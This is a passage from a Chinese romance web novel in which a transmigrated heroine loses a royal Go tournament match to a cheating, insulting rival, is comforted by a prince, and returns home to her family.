皇室围棋学堂名声在昭朝闻风丧胆,在场的众人都祈祷不要被抽中。唯一特殊的是常玉恒此次没来,这也让大家稍微放松些。
随着主办人最后一个抽取,他们结果便是对阵颇有实力的老招牌围棋馆。
老招牌围棋馆虽然比不上皇室实力,但得知与徐颂祁搭档的是位女子,便也没有那么害怕。
对弈开始,双方互相行礼。宋锦瑶起身的瞬间,正好对上那人挑衅的目光。
熟悉的脸庞和眼神,让她不禁恶狠狠地瞪回去。男子同时也感到惊讶,轻蔑地说:“真是冤家路窄啊,宋锦瑶。”
她垂眸瞥了眼围棋桌旁的名字:李修。
宋锦瑶冷眼睨着对方,嘴角露出讥讽笑道:“确实,也只有这样才能将你彻底打败,省得你回去还要责骂侮辱他人。”
两人互不相让,死死地瞪着对方,入座后,对弈正式开始。
宋锦瑶执黑子先行,她轻抬黑子稳稳落棋盘,李修紧随其后落下白子,两人迅速进入状态,你来我往。
宋锦瑶落子极有章法,每步都深思熟虑,而李修白子攻势凌厉,不断冲击宋锦瑶黑子的防线,试图打破平衡。
一时间,双方势均力敌,看得围观的众人目不转睛,发出阵阵惊叹。
棋局渐进中盘,宋锦瑶微蹙眉头,全身心投到棋局中。
李修也同样感到压力,但表面强装镇定,眼睛时不时往宋锦瑶脸上瞟,试图从她。表情中找到破绽。
未对弈之前,他从未想过宋锦瑶竟会如此游刃有余,面对他猛烈的进攻,非但没有慌张,反而心思格外谨慎。
见正常对弈难以占据上风,李修心中起歪心思,想着靠言语来扰乱宋锦瑶。
他趁着落子的间隙,阴阳怪气说道:“宋锦瑶,听闻御史府最近被圣上看重,你一个姑娘家家,要是下围棋被传出去,可真丢你阿爹的脸面。”
宋锦瑶淡淡地扫了他一眼,眼底没有任何波澜,手中黑子依旧稳稳落下,继续专注于棋局。
李修见宋锦瑶不上当,心中有些恼羞成怒,又接着说道:“真没想到,你居然还和王爷一同参赛,看来没少给王爷陪睡啊。”
她手中动作一顿,眼神中隐隐透露着不悦:“李公子,与其在这随意造谣诬陷他人,不如好好练练你这垃圾的棋艺,真是污了我的眼。”
“你!”李修咬牙切止,攥紧手里的白子,怒斥道,“宋锦瑶,别以为我什么都不知道,和傅府公子退婚,就是想攀上皇室做凤凰吧,你们这些女的都是贱货。”
14. 014
李修见言语攻击毫无作用,打算先手提劫,眼底透露着一丝不甘,想通过这个劫争获取更大优势。
宋锦瑶瞥了眼他的局势,立马猜到他想做什么,不慌不忙在左下角布下一个小飞守角,为后面进攻提前准备。
李修为打赢这个劫,不断在棋盘其他地方寻找劫材,落子如飞。可宋锦瑶应对自如,每次都巧妙地化解对方劫材威胁。
就在他感到吃力时,突然发现一处看似不错的劫材,果断落子。
宋锦瑶微微皱眉,思考片刻后选择应劫,她赶忙用招数跨断,强行断开李修在中腹的一串棋子。
李修不得不回防中腹,两人又在中腹展开一场对决,黑子白子相互切断、做活、对杀,每一步都关乎生死存亡,看得旁人是心跳加速,大气都不敢出。
随着时间流逝,宋锦瑶也陪感压力,脑海中不断重复着徐颂祁当时教导。她深呼口气,努力调整好自己状态,观察全盘局势。
直到发现李修左上角一处薄弱点,她眼中瞬间闪过更加坚定的目光。
宋锦瑶先是用一连串的试应手,其目的就是让李修捉摸不透她在想什么。
瞧见她落棋点,李修不禁眉头紧锁,努力思考对方意图,心中隐隐泛起不安。
见此情景,宋锦瑶果断找准时机,使出招数“点方”,手指轻轻一点,黑子直击他那处薄弱的要害。
这一招就是一把利剑,直插敌人心脏。
李修吓得脸色徒然一变,赶忙应对,他手忙脚乱地落下白子,想要补救,可宋锦瑶立即乘胜追击,紧接着来了一手“倒脱靴”。
黑子的布局巧妙至极,成功吃掉李修左上角的一大片白子,瞬间建立起巨大优势。
这操作堪称行云流水,棋法凶很果断,看得在场人无不惊叹宋锦瑶的棋艺高超。
李修还在顽强抵抗,试图在其他地方扳回局面,他咬着牙,身子止不住发抖,手中的白子不断落下,想要在中腹和右下角制造出一些机会。
见宋锦瑶不给她一丝希望,李修心里越发焦急,藏在心底的作弊念头开始冒出。
在比赛之前,他一直在袖口藏了颗特制的白子,想着实在不行就靠这歪门邪道来赢下这局棋。
瞥见宋锦瑶专心思考落子之时,李修趁着众人都盯着棋盘的机会,悄悄将藏着的白子混入棋盒,然后装作若无其事地从棋盒里拿出,快速在棋盘上落下关键一子。
这一子落下,原本宋锦瑶优势的局面瞬间扭转,严密的黑子防线出现漏洞。
就在他手想收出去的瞬间,立马被宋锦瑶抓住,速度快到众人都不明所以看着她。
宋锦瑶一脸严肃,神色凝重道:“李公子,你之前随意侮辱他人就算了,竟敢在众目睽睽下行偷鸡摸狗之事?”
此话一出,众人目光齐刷刷看向李修,脸上写满震惊。
但李修神色格外镇定,就像宋锦瑶在造谣他似的,一脸不屑将她的手推开,大声反驳道。
“宋锦瑶,你可别血口喷人啊,我李修向来光明磊落,怎么会干作弊这种事,你这是输不起,故意污蔑我吧。”
宋锦瑶指着他作弊的棋子,质疑道:“那请问公子这白子是如何下的?为何会凭空出现?”
“我早就下在这里了,是你自己没看清,关我屁事!你不信就问大家啊。”他强词夺理,全身上下只有嘴最硬。
众人见两人互辩,先是一愣,随后不少人也开始窃窃私语起来。
李修平日里在这棋馆也算有些名声,又善于与人结交,再加上他那一副理直气壮的模样,竟有不少人开始偏向他。
最后看在宋锦瑶是女子好欺负,不想惹是生非,纷纷说道:“宋姑娘,无凭无据可不能乱说呀,李公子的棋品我们还是信得过的。”
听闻此言,宋锦瑶被气得恨不得直接掀桌走人,但她今日代表皇室学堂的脸面,显然这样行不通。
可又不能直接告诉众人她有系统,将李修的恶行看得一清二楚,况且说出来也无人相信,众人明显包庇李修行为。
宋锦瑶心中满是委屈和气愤,可她一时也拿不出确凿的证据来证明李修作弊,只能咬着嘴唇,努力平复着情绪,继续应对棋局。
李修靠着作弊得来的优势,越发有恃无恐,白子不断地扩大战果,将宋锦瑶的黑子一步步逼入绝境。
即使她努力抵抗,也无法阻止突如其来的变故,局势瞬间朝着对她不利的方向快速发展。
随着李修落下最后一颗白子,这场本该公平的围棋对弈结束。
他站起身,脸上露出得意又心虚的笑容,对着宋锦瑶假意拱手道:“宋姑娘,承让了呀,看来这围棋还是得靠真本事呢,可别输了就胡乱指责别人。”
见她不语,他更加肆无忌惮道:“你这巴掌我可记到现在呢,本想着还回去,但看你现在的表情,应该比被扇巴掌还疼吧?”
宋锦瑶握紧拳头,恶狠狠瞪着他,道:“李修,围棋本应公平竞争获胜,而你靠下三滥的手段取胜,迟早有一天会遭报应的。”
“报应?我好怕怕哟。”李修鄙视地看着她,不禁疑惑道,“不说我还忘了,宋锦瑶,你到底是怎么看出我招数的?”
见她没有回答,李修无趣地摆了摆手:“罢了,败者终究是败者,能被老子大打败,也算你宋锦瑶运气好。”
一想到自己代表皇室围棋学堂出面,居然被这种人侮辱,还靠着下三滥的手段输掉比赛。宋锦瑶望着他离开的背影,心里越想越气。
她握紧拳头快步走上前,故意拍了拍李修的肩膀,趁着他不明所以回头瞬间,一拳恶狠狠砸在他的脸上,直到疼感传到指尖,她才算吐气一回。
“别高兴太早,你给等着。”
说完,她还是觉得不服气,又重重踩了李修鞋子,随后转身离去。
出馆路上,宋锦瑶其实并不想去找徐颂祁汇合,一是怕自己已经给皇室丢脸,二是她真没勇气面对他,毕竟厚着脸皮骚扰徐颂祁好几日,结果还是输掉比赛。
中场休息,宋锦瑶坐在后花园秋千上,满脸唉声叹气。不敢去看他此刻心情,更不愿看到大家对她流露出失望表情。
该怎么啊,回去肯定会被人议论的。
早知道就让洛青尹来,大不了还有更多优秀的学子。
“怎么不来找我?”
一道声音突然在她身后传来,吓得宋锦瑶一个激灵差点从秋千上摔下。
徐颂祁一脸复杂地看着心虚的宋锦瑶,再次质问道:“为什么不来找我?知不知道我在外面等你很久了。”
她没有说话,淡淡地“嗯”了声,便垂眸不再去看他。
徐颂祁叹了口气,走到她面前蹲下,抬眸看向那双幽暗的眼睛,安慰道:“宋锦瑶,你已经做得很棒了,这次只是意外,不要否定自己好吗?”
宋锦瑶:“……”
“我知道你现在肯定认为自己丢光皇室脸面,可这世上从未有人厉害到没败过。”徐颂祁撑着脑袋看着她,“所以你已经很厉害了,不要再折磨自己了好吗?”
宋锦瑶低着头不让他看到自己,努力克制
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情绪问道:“徐颂祁,你会不会觉得我很烦,每天都会麻烦让你教导,要是常玉恒在的话,你们就不会再对弈第二轮吧。”
看着从未说过此话的她,徐颂祁微怔,半响,认真回答:“我从未有过这种想法,过去不曾、现在不曾、未来也绝对不会。”
话音刚落,她整个身子突然止不住颤抖,眼眶更是情不自禁湿润起来。
宋锦瑶瞬间放开抓住秋千的绳子,张开一个温暖的双臂紧紧抱着他,声音略带些微弱的哭腔:“对不起,我也不知道为什么,我明明不想哭的,可就是止不住。”
察觉到徐颂祁身子微微一僵,她才意识到身份之差,刚想松开手臂,却不料猛地被对方紧紧搂在怀里。
宋锦瑶在此刻再也忍不住,恨不得将比赛的委屈全都诉说给身上的人听,告诉她自己当时的无助与不堪。
当最后她依旧没能说出口,因为她不能影响徐颂祁情绪,更不能打扰他下一轮对弈的心态。
临近第二轮抢救对弈,宋锦瑶坐在他身旁再三强调李修行为多么恶劣,让他提防点。
而徐颂祁全程浅笑着目光落在她身上,甚至时不时替她整理发梢上的碎发,看看形象有没有乱。
气得宋锦瑶腮帮子鼓起,一脸严肃重复道:“你认真点!李修就是这样打败我的,必须要小心他的局势,他要是敢有任何猫腻,立马终止对弈!”
徐颂祁连连点头示意:“好好好,都听你安排,我会小心的,但请你能不能多相信我点?”
“相信你什么?”
他垂眸眼底闪过复杂情绪,再次抬头看向她时,嘴角弯了弯道:“相信我替你报仇,不用很久,要是感到无聊,可以在院外等我。”
宋锦瑶瞬间怔在原地,看着那双温柔的眼眸,竟感觉到初遇时那股安心。
“嗯。”她也跟着笑起来,“我相信你。”
由于是至关重要的抢救赛,主办人怕众人七嘴八舌打扰选手获胜,除专业人员以外,在场人全都相隔好几米外观看。
宋锦瑶身形自然比不上成年男子,原本从第一位很快被挤到最后,无论她挤也好,跳也好,周围人激烈地拥挤在一起,一点间隙也没有。
索性她彻底放弃人挤人,一个人坐在众人旁边石墩上,听着他们激烈地探讨声,才能似懂非懂地大概了解局势战况如何。
宋锦瑶随地捡起地上的枯枝,百般无聊地在土壤上写着“愿徐颂祁第一”的字样,随后又忍不住担心起里面的战况。
徐颂祁的实力毋庸置疑,可万一李修又用下三滥手段怎么办?到时候她哪怕豁出去也要替徐颂祁证明。
她正想着下一步如何报复李修时,偶然间敏锐听到不远处传来女人的哭泣声。她满脸疑惑地抬头望去,发现大家注意力全在棋盘上,自然察觉不到。
宋锦瑶闻声悄悄走近,只见一个人女子正坐在不远处亭子里趴着哭,垂落的手臂上全是大大小小的抽打痕迹,原本干净的衣裙也被染上污渍。
她一眼便认出那人就是反咬自己的女子,亦是李修的“好”搭档。见她如此惨样,想必非常不凑巧抽到和徐颂祁对弈,然后输掉比赛被李修痛打一顿。
这次宋锦瑶真长记性了,态度非常肯定,管那女子爱哭不哭,她坚决不再去管对方,免得好心又喂白眼狼。
就在转身之际,她突然感到身子无法动弹,紧接着一股莫名悲伤席卷而来。
她立马意识到是这个身体的反应,握紧拳头恨铁不成钢,暗暗吐槽道:“宋锦瑶啊宋锦瑶,我明白你意思。”
15. 015
宋锦瑶找到馆内人员要来干净手帕后,见女子还在哭,便缓缓走上前去,坐在她身侧。
她默不作声撇过脸,伸出手将手帕递给女子。
女子察觉到动静,抬头望去,正好瞧见这一幕,不禁疑惑问道:“宋姑娘…你这是?”
“你的脸有些红。”她淡淡回道,“擦擦可能会好点。”
女子愣在原地,从未得过的关心的她,瞬间被宋锦瑶的好意冲击心灵。她撅起嘴巴,努力抑制着哭声,手指微微颤抖,不敢去接那张手帕。
女子声音沙哑道:“宋姑娘,明明我之前对你那般,为何你还要帮我?”
这句话确实把宋锦瑶问住,她思索片刻后,回答道:“大概我和你经历相似,只是我比你勇敢些,懂得反抗。”
见女子依旧不敢拿手帕,宋锦瑶无奈地叹了口气,她凑近对方,微微弯腰,温柔地替她轻轻擦拭脸上的污渍。
明明美颜的脸蛋,硬就是被打得不成人样,哪怕宋锦瑶很看不惯她之前的作风,但心里还是能感同身受。
女子低头看着近在咫尺的脸庞,呼吸一滞,泪水又忍不住落下。
“离开李修吧。”宋锦瑶垂眸淡然说道,“我知道这朝代对女子下围棋带有偏见,可你留在那里,只会更加身心受损。”
见她不说话,宋锦瑶不好过多干涉她的未来,便不再继续劝导,自顾自替她擦拭。
女子攥紧手指,脸上很是纠结模样,良久,她一把抓住宋锦瑶的手放在自己心口。
她轻轻摇头苦涩道:“我曾听闻有关宋姑娘的事迹,无论怎样都比我优秀得多,只不过……”
她微微一顿,继续说道:“能麻烦宋姑娘和我讲讲你是如何做到吗?比喻如何引起皇室注意,进入皇室围棋学堂。”
她的言语间竟显对上位的渴望,宋锦瑶微微一怔,立马收回被她抓住的手。
“抱歉姑娘,我不太懂你具体干嘛。”宋锦瑶放下手帕,想离她远点,“如果只是单纯想引人注目的话,我建议你还是钻研学习棋法,争取有天向大家证明自己的实力,而不是靠其他办法走捷径。”
宋锦瑶尽量委婉地告诉她想要的答案,可女子却不买单。
见她想走,率先又抓住她的手臂,这回她的力气格外大,宋锦瑶根本甩不开对方的手。
女子也站起身来与她平视,声音夹带些愤怒:“宋锦瑶,你不就是不想让别人走你的路吗?是怕我跟你抢吗?”
对上那双羞怒的双眸,宋锦瑶眉头微蹙:“抱歉,我听不懂你想说什么,请你放开我。”
她握紧的手指泛白,指甲戳进宋锦瑶的肌肤里,整个人好似入魔一样:“你到底是怎么勾引王爷的?是靠计谋?美貌还是身子?宋锦瑶我求你,求求你告诉我吧,我也不想待在这里了。”
说着,眼泪又顺着脸颊滑落,声音和身体都颤抖不止。
宋锦瑶一脸震惊地看着眼前女子,见她丝毫不顾自己形象。
回想起过去徐颂祁对待她的态度,女子的话好似句句刻在脑海中,挥之不去。
“我也不比你差,为什么我就不能引起王爷注意,为什么我只配挨打,我明明已经很努力了,凭什么好运都降临在你身上!”女子冲着宋锦瑶大声吼去。
周围人何时结束对弈的,她们都浑然不知。等反应过来,亭外已站满八卦的人,他们窃窃私语地看着眼前这幕。
“我没有,我不是。”宋锦瑶低声解释道,“请你放开我,我从来没有靠……”
话音未落,一道声音打断她们之间对话。
“宋锦瑶。”
闻言,她猛然抬眸望去,映入眼帘的便是徐颂祁那张熟悉的脸庞。
她看着他朝自己步步走来,只不过往日的温柔早已消失不见,取而代之的是罕见的冷漠,她甚至能察觉到徐颂祁有些生气。
徐颂祁快步走到亭内,冷着脸扫了眼那名女子,女子吓得立马松开手,整个身子瑟瑟发抖。
众人也被吓得大气不敢出,原本喧闹的环境顿时安静下来。
他牵过宋锦瑶的手,让她靠向自己,见她脸色不好,低头附在她耳畔,低语道:“没事吧?”
宋锦瑶轻轻摇了摇头,抓紧徐颂祁的衣袖,小声说:“我想离开这里。”
徐颂祁轻“嗯”了一声,冷冷地瞥了眼泪流满面的女子,眼神中透露出警告。
女子不敢抬头与他对视,一直低着头发抖。
直到他牵着宋锦瑶在众目睽睽下离开,留下一群看热闹的人,他们相互打量一片唏嘘。
而身后的那名女子瞧见这个场景,满脸悔恨地跪坐在地上,双手捂住脸,再也忍不住哭出来。
回去的路上,宋锦瑶靠在马车上一声不吭,脑海中不断浮现出女子那狰狞的面孔,以及她所说的话。
她其实并不在意众人对她的看法,因为她从来都没把自己归属于过这里的人,只不过她不想连累徐颂祁,更不想他为自己而玷污名声。
一个女子能进入皇室围棋学堂学习,说出去能有几个人相信清白二字?
而且就连她也意识到自己和徐颂祁走得太近,不管是外面的人还是学堂内部,似乎多少都带有偏见。
宋锦瑶长长叹了口气,为了防止自己玷污皇室名誉,以及保护他的清白,她决定从今天开始,对徐颂祁保持安全距离!
她自信满满为自己打气,结果一抬头便对上徐颂祁那双复杂的眼睛。
徐宋祁看着她短短几分钟内,脸上闪过无数的精彩表情,不禁疑惑问道:“你这是怎么了?”
宋锦瑶:“……”
我怎么能忘了,他居然和我在一个马车内啊啊!!
此时她恨不得钻个地洞躲着,努力平复刚刚打鸡血的情绪,摇了摇头。
回去的路程较长,宋锦瑶和他坐在一辆马车内,竟会感到一丝尴尬,于是她只能又开始僵硬地找话题。
宋锦瑶一脸好奇问道:“徐颂祁,话说你对弈得好快啊,想必将那个李修秒杀了吧!”
他抬头目光落在她的脸上,嘴角微扬,轻“嗯”了声:“你之前担心的地方,他确实也用了。”
“什么!”宋锦瑶立马打起精神,眉头紧蹙,声音都不自觉大了几分,“他也对你作弊了!不行,我们现在立马掉头回去,曝光他丑陋的行为。”
她猜到李修可能会用,但实属没想到他竟然敢用在徐颂祁身上,真嫌命长。
见她如此生气,徐颂祁微微一怔,随后忍不住轻笑出声:“可我依旧完胜。”
“即使靠作弊走捷径,但实力不佳依旧会导致无数漏洞,一修一补到最后的结果只会是崩盘。”徐颂祁温柔地注视着她,好似安慰道,“可能我比较幸运,在他作弊前就解决完了。”
伤害性不大,侮辱性极强。
她似乎已经想象得到李修当时的表情了。
宋锦瑶松了口气,整个人松弛下来:“吓死我了,要是下次再碰到他,我一次要扬眉吐气堂堂正正打败他一回!”
他没有说话,目光依旧停留在她的身上,听到她说这话,忍不住被她逗笑。
瞧见他笑,
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宋锦瑶赶忙强调:“我是认真的!要不是大家都不相信我,我保证能将他踩在脚下。”
徐颂祁轻轻点头,不打扰她此刻心情,配合道:“好,我相信你,一定把他踩在脚下。”
窗外太阳渐渐落下,天边慢慢爬上明亮的月光,周围喧闹的人群逐渐安静,直到马车停在学堂前,外面已是黑夜。
马夫敲了敲车门,示意地方已经到了,而宋锦瑶早已靠在徐颂祁肩膀上熟睡过去,听到细微的杂音,没好气地暗暗闷哼一声。
他收起书卷,垂眸凝视着身侧之人,眸光似水,目光落在她的身上却直到她一个人站在外面,拍了拍自己的胸膛,深呼几口气后,才缓缓反应过来。格外温柔。
最终,徐颂祁还是忍不住伸手想去抚摸她脸颊,他的动作很轻,像是抚摸着致臻珠宝一样,小心又温和。
大概是没察觉到马车的震荡声,宋锦瑶迷迷糊糊睁开眼睛,刚想询问徐颂祁到哪时,抬眸望去一眼便对上徐颂祁那双眉眼柔和的眼睛,甚至能看清对方瞳孔里倒映出的自己。
她猛然惊醒立马坐端正,整个人脑袋像是被炸开一样,语无伦次道:“我……我这是睡了多久啊,干嘛不唤醒我。”
徐颂祁一脸疑惑地见她如此慌张,刚想伸手将她拉过来些时,宋锦瑶先预判他的动作,吓得赶忙收回手,一边是心虚开口说话,一边往外走。
“到了啊…我们快下去吧……夫子肯定还在学堂等我们回去……嗯。”说完,她紧忙丢下徐颂祁率先下马车。
直到她一个人站在外面,拍了拍自己的胸膛,深呼几口气后,才缓缓反应过来。
为了维护徐颂祁的名誉,她坚决不能再和他这样不清不楚下去,要避免一切被小人讲闲话的可能!
进学堂的路上,宋锦瑶成功做到不搭理他,瞧见夫子等人后,她才敢说话,仿佛见到救星一般。
“夫子!”
宋锦瑶快步走上前,紧绷的脸上终于有了别的表情。
大家全都围在他俩身边,讨论这次围棋比赛的事情,在得知宋锦瑶输给他人后,大家都表示能理解,让她不必太自责。
清冷的夜晚在学堂内熙熙攘攘,大家相互打趣对方,传来欢声笑语。
之后的日子,无论是小测考试还是娱乐对弈,宋锦瑶几乎对徐颂祁能躲就躲,很快两人关系一下淡了不少。
这日午后,宋锦瑶闲来无事趴在桌子上闭目养神,周围传来小溪流水声和鸟雀在枝头的低叫声。
细微听到来人的脚步声,她刚想睁眼查看,却被人率先用手捂住眼睛,紧接着一道略显扭曲的声音在耳边响起。
“猜猜我是谁?猜对了有奖励哦。”
原本被惊到的宋锦瑶听到来人声音,顿时松了口气,她故作玄虚地回道:“好难猜啊,到底是谁呢,莫不是整个学堂最帅的洛公子吧?”
这个回答差点没把洛青尹笑死,他抱着肚子,泪水都快笑出来:“宋锦瑶,谁教你这么回答的,话说真的假的,我果真是整个学堂内最帅的人?”
他一脸期待地看着眼前的人,而宋锦瑶伸出手在他脑门轻轻弹了下,毫不犹豫地回道:“哄你的也信?”
听到这话,洛青尹一下子没好气,胡搅蛮缠道:“我就信,毕竟小爷我实力就摆在这里。”
见她也笑了,洛青尹悄悄凑近她,低声道:“宋锦瑶,我最近发现学堂后花园内,时常响起猫咪声,要不要一起去看看?”
猫咪?
宋锦瑶疑惑地看向洛青尹,一时间不知道他葫芦里面到底买什么药。
16. 016
学堂后花园郁郁葱葱,宋锦瑶平常没少过来学习棋法,但至于洛青尹口中的猫咪,她还真不知。
一路她跟着洛青尹从后花园庭院绕到山坡,直到面前出现一片绿油油的草坪。
这是她从未涉及到的领域,宋锦瑶看着眼前的环境有些震惊。
她刚想开口询问他是怎么知晓这里时,洛青尹快步走上前,笑眯眯地回头看向她。
“宋锦瑶,你快过来,就在前面不远处,真的超级可爱!”洛青尹一脸兴奋,恨不得直接推着她走。
还没走到他说的地方,宋锦瑶感到有东西在蹭她脚,她好奇低头查看,见一个雪白的幼猫不断朝她脚边撒娇。
真有猫咪!?
宋锦瑶好奇地蹲下身忍不住去抚摸它,小家伙也十分配合的在地上打滚,满脸享受模样。
她笑着摸了摸小猫的脑袋,又摸了摸肚皮,整个人都快被治愈。
小猫察觉到宋锦瑶没有坏意,从最初一两只小猫,逐渐跑过来一大堆小猫,它们蜂拥而上,全围在她身旁不停低声叫着。
洛青尹闻声赶来,看着满脸欢笑的宋锦瑶,也忍不住与她一同蹲下身,伸手撸猫。
注意到她眼底的笑容,洛青尹暗爽道:“怎么样,小爷说的没错吧?是不是超级可爱。”
宋锦瑶点点头,疑惑地抬头看向他,询问道:“话说你怎么知道这里有小猫的?还有,为什么只告诉我一个人?”
话音刚落,洛青尹显然有些不好意思,他撇不脸不说话,直到空气只剩下喵喵叫声。
不对劲。
宋锦瑶一副如实招来的神色凝视着面前洛青尹,眼睛微眯,语气都严肃起来:“这该不会都你偷摸偷来得吧?怕主人找上门就拉我一起下水?”
听闻此言,洛青尹倒先急了起来,他忙慌解释道:“怎么可能!我是这种人吗?你…只答对一半。”
宋锦瑶指尖一顿,小猫立马主动去蹭她,蹭得她心痒痒,索性叹了口气道:“洛青尹,偷猫是不对的,趁太阳没没落山,我们赶快还回去。”
见她误会自己意思,洛青尹连忙摆手否认:“不是偷的!是…徐颂祁养的。”
他不敢去看宋锦瑶此时的表情,支支吾吾回道:“前几日,我瞧见他常常往这走,就好奇地跟上,就发现他居然在学堂内养小猫,但是他向来就独来独往,我自然也不敢独一个人过来查看。”
“所以你找到我当挡箭牌?”宋锦瑶没好气地打了下他的胳膊,气鼓鼓道,“洛青尹,你心咋这么狠!”
他故意装成弱不禁风模样,一脸委屈道:“这不就你和他走得近吗,就算被抓到,只要和你是共犯,也出不了大事!而且徐颂祁最近也忙得很,一时半会回不来。”
“你!”宋锦瑶欲言又止,但仔细想想也确实如此,自从围棋赛结束后,她就很少再见到徐颂祁。
她垂眸看着在草坪上打滚的小猫,脑海中竟能想象得到徐颂祁一个人喂它们的场景,那时候他会在想什么?
察觉到宋锦瑶没有生气,洛青尹悄悄朝她靠近,低语道:“话说你和徐颂祁最近怎么回事?之前还天天黏在一起,现在跟个犯人似的,见他就躲。”
宋锦瑶垂着脑袋摇了摇:“就因为之前太麻烦他,毕竟我只是个普通的女子,对他名誉不太好。”
“有吗?”洛青尹一副无所谓的神色看着她,安慰道,“我倒觉得徐颂祁挺愿意啊,他向来是朝廷的人,身旁自然没有信任的人,处处是危机,但你是唯一一个能靠近他的人。”
洛青尹耸了耸肩,笑道:“以前除了必要对弈比赛外,他几乎不会来学堂,但自从你来了,倒是罕见的同我们上课。而且最近朝廷出事闹得人心惶惶,这不,又连着好几日没回来了。”
洛青尹说的没错,除了她以外,宋锦瑶便再也没见到过他身旁出现别的女人,或者说他身边的女人,是她永远都碰不上的人物。
可往往就是因为这样,她才要尽力远离徐颂祁。
他生于朝廷沾满风雪,不能再背负人间污名。
见她不语,洛青尹忽然觉得话题过于沉重,赶忙换一个让她打起精神:“宋锦瑶,话说你都来学堂这么久了,一次也没回去过吧?”
宋锦瑶一脸疑惑地转头看向他,轻轻点了点头。
正如他意,洛青尹满脸自信解释道:正好过几日学堂有暑期休沐日,你可以回去休息,陪陪御史大人。”
她看着小猫不停蹭在自己指尖上撒娇,才缓缓意识到自己确认进学堂好长一段时间没回去过。
会想到那日临走前,宋锦初对她所说的话,此刻不禁回响在耳边。
“到时候可有阵子不能相见。”洛青尹闷闷说道,“要是实在感到无聊,小爷带你游遍整个昭朝!”
宋锦瑶没有回答,只是一味地看着他微笑。
果然,从那之后直到放假前夕,她再也没见到过徐颂祁。
明明一直顺着计划进行,可心里还是有种道不出的话。
当日和夫子告别后,回去路上正巧碰到常玉恒,见他在庭院逗小鸟,宋锦瑶还是忍不住跟他询问关于徐颂祁的事。
常玉恒手中动作一听,随后沉思,半响才缓缓道出:“朝廷之事可是你我能知晓的?不过嘛,要是关于别的我还略知一二。”
宋锦瑶看他一副故作神秘的样子,可急死了,对方见状,却笑出声:“别急嘛,我曾听闻公主一直喜欢徐颂祁,而且两人从小玩到大,同时又到试婚年纪,圣上肯定会有所动作。”
公主。
她是从未设想过的身份地位。
道完谢,她便回到住所收拾行李,留下常玉恒独自站在原地,浅浅含笑注视着离开的背影。
回去的路上,小厌靠在车角昏昏欲睡,她也靠在后背,脑海中不禁回想到常玉恒所说的话。
两人是青梅竹马、不仅身份对应王爷和公主,还搞暗恋文学,这次回去他们肯定会汇合团聚,这怎么看都是传统小说设定啊!
要是此时她出现在两人之间,这不妥妥炮灰反派吗!?
不,她更想好好活下去,让那些看不起女性的人统统打败,仅此而已。
宋锦瑶暗暗下定决心,这次回去只是陪家人,绝不触碰关于朝廷一切,更不能打扰王爷和公主美好爱情。
路途稍远,等马车停在御史府前,天已经黑了一半。
宋锦瑶扶着小厌的手下马车时,一眼便瞧见御史府门前挂满大大小小红灯笼,站在门外的下人一眼便认出是宋锦瑶,赶忙朝屋里头跑去,声音止不住地开心欢快。
“小姐回来了!是小姐回来了!”
话音刚落,紧接着,府里立马响起一阵脚步声,还没等她瞧见是谁跑过来时,为首活泼的身影一把将她抱住,言语间全是兴奋与喜悦。
宋锦初紧紧搂住宋锦瑶,丝毫不在意周围人的目光,整个身子止不住微微颤抖:“阿姊…你回来了。”
紧随其后的宋父也走出来,看到这幅场景并未多言,相互对视一笑,连忙招呼宋锦瑶进府回家。
“锦初快松开你阿姊吧,等会瑶儿都呼吸不上来了。”
宋父多年来都是一人操持着整个御史府,因夫人早年得病逝世,他便再也未曾娶妻生儿,一生只追求宋母一人。
早些年宋锦瑶智力障碍受万人唾弃辱骂,他也从未放弃过这个女儿,一边为朝廷之事担忧,一边还要养儿育女。
等好不容易等来宋锦初步步高升,任命远行,他才能全心全力照顾宋锦瑶,只要是她想要的,宋父就会倾尽
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全力去满足。
他从未有天能想象得到宋锦瑶能恢复正常,甚至进入皇室围棋学堂内,替自己找回公道。
饭桌上,宋父看着宋锦初与宋锦瑶不断打闹,讲述这几个月来家里的大大小小,以及生活琐事,这种久违的“家”让他潸然泪下。
“阿爹?”宋锦瑶注意到宋父眼角湿润,连忙关心问询道,“阿爹怎么了?是我回来得太突然了吗?”闻言,宋锦初也立马转头望去。
宋父摇了摇头,伸出手紧紧握着宋锦瑶,强忍着泪水说道:“阿爹是见你回来太激动,这段时间是不是没按时吃饭?看你又瘦了。还有在学堂怎么样?大家有没有欺负你?”
宋父满眼都是宋锦瑶,生怕她受到一丝委屈。
明明她不是这里的宋锦瑶,明明她是穿越过来的人,可这一刻,她真的被这里的家人感动到。
宋锦瑶轻轻摇头,苦涩道:“阿爹放心,学堂的人对我很好,他们很照顾我。”
宋父满脸欣慰地点头,低声重复道:“那就好,只要瑶儿感到开心一切就好。”
饭后结束便已是黑夜,窗外枝头传来蝉鸣声,宋锦瑶躺在床上又是无眠。
人一旦安静下来就会胡思乱想,防止自己给自己添堵,她干脆起身点灯,瞥见桌上又剩余的宣纸,倒也闲来无事玩起剪纸。
就在这时,门外突然传来敲门声,紧接着一道偷感贼强的声音响起。
“阿姊,你睡了没?可能今日太激动,我有点睡不着。”他的声音有些不好意思,支支吾吾道,“我可以进来找你聊天吗?”
宋锦瑶将门打开后,一眼便瞧见宋锦初一副做贼的面孔,还没等她开口说话,他便自顾自连走带推冲进来。
直到确定屋内剩下两人,他靠在门上才松了口气,抬眸间对上宋锦瑶那双骇人的眼睛,吓得他一个激灵。
宋锦初慌忙解释道:“啊啊对不起阿姊,我就是怕下人瞧见,等会传到阿爹耳中又要说我。”
宋锦瑶自然无所谓,她回坐在椅子上,好奇地上下打量着他:“说吧,具体想聊什么?”
他眨巴着大眼睛,瞧见桌子上剪纸的图案,装做一副极度夸张的佩服模样看着宋锦瑶,吹捧道:
“阿姊,你居然会剪纸!?简直人美心善,琴棋书画样样精通啊!天底下最优秀女人,只属于你一人。”
宋锦瑶:“……”
见她不吃这套,宋锦初一下子泄了气,刚想继续无脑瞎编时,被她快速打断:“说重点,你肯定有事找我帮忙。”
一语拆招。
宋锦初坐在椅子上显得十分无措,良久,他才不好意思说道:“阿姊,自打我回来后,无论是圣上还是公主都待我有加,再过几日便是公主生辰,我想给她准备份礼物,左思右想只想到衣裳。”
金银珠宝虽华丽尊贵,但送的人多了,自然毫无新颖,只有合身舒适的衣裳穿在身上,才会让人想起送衣裳的人。
宋锦瑶一脸八卦地模样盯着宋锦初,言语间全是好奇:“送公主衣裳?是想让她穿着想到你吗?”
宋锦初几乎是下意识反驳道:“才没有!”
但行为过于异常,见宋锦瑶愣在原地看着他,他又立马撇过脸,不再说话解释。
大概是青春期的男孩子,隐晦又羞涩。
